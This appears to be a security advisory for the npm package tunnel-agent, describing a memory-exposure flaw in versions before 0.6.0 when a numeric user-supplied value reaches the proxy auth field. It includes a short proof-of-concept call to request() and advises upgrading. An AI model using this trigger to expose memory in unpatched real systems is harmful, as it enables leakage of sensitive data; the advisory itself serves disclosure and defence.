Versions of tunnel-agent before 0.6.0 are vulnerable to memory exposure.

This is exploitable if user supplied input is provided to the auth value and is a number.

Proof-of-concept:

require('request')({
  method: 'GET',
  uri: 'http://www.example.com',
  tunnel: true,
  proxy:{
    protocol: 'http:',
    host:'127.0.0.1',
    port:8080,
    auth:USERSUPPLIEDINPUT // number
  }
});

Recommendation

Update to version 0.6.0 or later.

References

• request/tunnel-agent@9ca95ec
• https://www.npmjs.com/advisories/598
• https://gist.github.com/ChALkeR/fd6b2c445834244e7d440a043f9d2ff4